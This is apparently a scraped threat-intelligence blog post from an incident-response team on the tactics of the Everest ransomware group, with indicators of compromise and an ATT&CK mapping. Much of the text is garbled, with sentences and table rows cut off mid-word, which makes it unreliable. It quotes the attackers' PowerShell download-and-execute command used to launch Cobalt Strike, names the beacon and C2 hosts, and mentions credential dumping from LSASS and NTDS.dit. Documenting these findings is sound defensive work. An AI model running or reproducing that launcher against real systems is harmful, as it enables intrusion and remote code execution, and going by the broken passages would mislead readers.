Research Threat Intelligence Digital Forensics and Incident Response (DFIR)

This research was conducted by **Michael Mullen** and **Nikolaos Pantazopoulos** from NCC Group Cyber Incident Response Team. You can find more here Incident Response – NCC Group

Summary

tl;dr

In the Threat Pulse released in November 2021 we touched on Everest Ransomware group. This latest blog documents the TTPs employed by a group who were observed deploying Everest ransomware during a recent incident response engagement.

In summary, we identified the following key TTPs:

- Lateral Movement through Remote Desktop Protocol (RDP)
- Gathering of internal IP addresses for hosts on the network
- Local LSASS dumps
- NTDS.dit dumps
- Installation of Remote Access Tools for persistence

Everest Ransomware

Earlier reports [1] have linked Everest ransomware as part of the **Everbe 2.0 family**, which is composed of Embrace, PainLocker, EvilLocker and Hyena Locker ransomware. However, after recovering and analysing an Everest ransomware file, we assess with medium confidence that Everest ransomware is related to Black-Byte.

Everest TTPs

Lateral Movement

The threat actor was observed using legitimate compromised user accounts and Remote Desktop

Crede

ProcDum
credentia

C:\Users

C:\Users

A copy of

Defen

Through put files
and data

Disco

Network rimarily
conducte
SoftPerf further
hosts of i

The outp ectory.
Examples

- C:\Users\
- C:\Users\Public\Downloads\trustdumps.txt

Collection

The threat actor installed the WinRAR application on a file server which was then used to archive data ready for exfiltration.

Command and Control

Cobalt Strike was the primary command and control mechanism used by the threat actor. This was executed on hosts using the following command:

```
powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(/a'))
```

Additionally, a Metasploit payload was identified within the path `C:UsersPublicl.exe`.

The following Remote Access Tools were also deployed by the threat actor as a secondary comman talled as a service

- AnyDesk
- Splashto
- Atera

Exfiltr

The threa the network.

Impac

Everest's on as well as er

Indic

IOC (in Value		
netsca		
netsca		ed
svcdsl.		
Winrar.exe	File name	Popular archiving tool, which supportsencryption.
subnets.txt	File name	Network Discovery output file
trustdumps.txt	File name	Network Discovery output file

l.exe	File name	Metasploit payload
hxxp://3.22.79[.]23:8080/	URL	Site hosting Cobalt Strike beacon
hxxp://3.22.79[.]23:8080/a	URL	Site hosting Cobalt Strike beacon
hxxp://3.22.79[.]23:10443/ga.js	URL	Cobalt Strike C2
hxxp:/		
hxxp:/		

Attri

The reco Everest
group'. H variant
instead c the
incident's

Even tho wnload
the key fr host. In
addition,

Based or de of
Black-Byt
ransomw

MITR

Tactic			
Initial A			
Execut	Scripting Interpreter: PowerShell		ll to execute malicious commands
Execution	Command and Scripting Interpreter:	T1059.003	Threat actor utilised Windows Command Shell to execute malicious commands

	Windows Command Shell		
Lateral Movement	Remote Services: Remote Desktop Protocol	T1021.001	Lateral movement was observed utilising RDP
Persistence	Create or Modify	T1543.003	Threat actor installed remote ices
Creder Access			o cess
Creder Access			
Defenc Evasio			
Discov			s can er
Collect			ng
Comm and Cc			using
Comm and Control	Software		cess Software – Anydesk, Splashtop and Atera
Exfiltration	Exfiltration Over C2 Channel	T1041	Data exfiltration was conducted using the Splashtop application

Impact	Data Encrypted for Impact	T1486	Data was encrypted for impact

References

- https://attack.mitre.org/
- https://newsroom.nccgroup.com/news/ncc-group-monthly-threat-pulse-november-2021-439934
- https://di

NCC Gro ... you through ... ediation guidance

This website makes use of cookies.

This website uses cookies to ensure you get the best experience on our website. Some of these cookies are essential for the site to function, whilst others are useful to help us to analyse our traffic and collect statistics on how and when the site is being used and how it can be improved. We also share information about your use of our site with our analytics partners.

By clicking "Accept All," you consent to the storing of cookies on your device to enhance site navigation, analyse site usage, and assist in measuring the success of our marketing efforts.

Manage your preferences at any time, on the cookie preference tool at the bottom of the screen, or if you want to learn more, please go to our Cookie policy

Necessary cookies

Necessary cookies enable core functionality as you browse our website such as session management and remembering your cookie preferences. The website cannot function properly without these cookies and can only be disabled by changing your browser preferences.

Analytical Cookies Off

Analytical cookies help us to improve our website by collecting and reporting information on its usage.

e, and
hreat
abilities
ape.
ers and
tools
d
ts, NCC
IT at its
ading

Terms and Conditions

Privacy Policy

Technical Assurance

Consulting & Implementation

Get in Touch
+1-(415)-268-9300

Contact Us

Managed Services

Incident Response

Threat Intelligence

24/7 Incident Response Hotline
+1-(855)-684-1212
or cirt@nccgroup.com

This website makes use of cookies.

This website uses cookies to ensure you get the best experience on our website. Some of these cookies are essential for the site to function, whilst others are useful to help us to analyse our traffic and collect statistics on how and when the site is being used and how it can be improved. We also share information about your use of our site with our analytics partners.

By clicking "Accept All," you consent to the storing of cookies on your device to enhance site navigation, analyse site usage, and assist in measuring the success of our marketing efforts.

Manage your preferences at any time, on the cookie preference tool at the bottom of the screen, or if you want to learn more, please go to our Cookie policy

Necessary cookies

Necessary cookies enable core functionality as you browse our website such as session management and remembering your cookie preferences. The website cannot function properly without these cookies and can only be disabled by changing your browser preferences.

Analytical Cookies

Off

Analytical cookies help us to improve our website by collecting and reporting information on its usage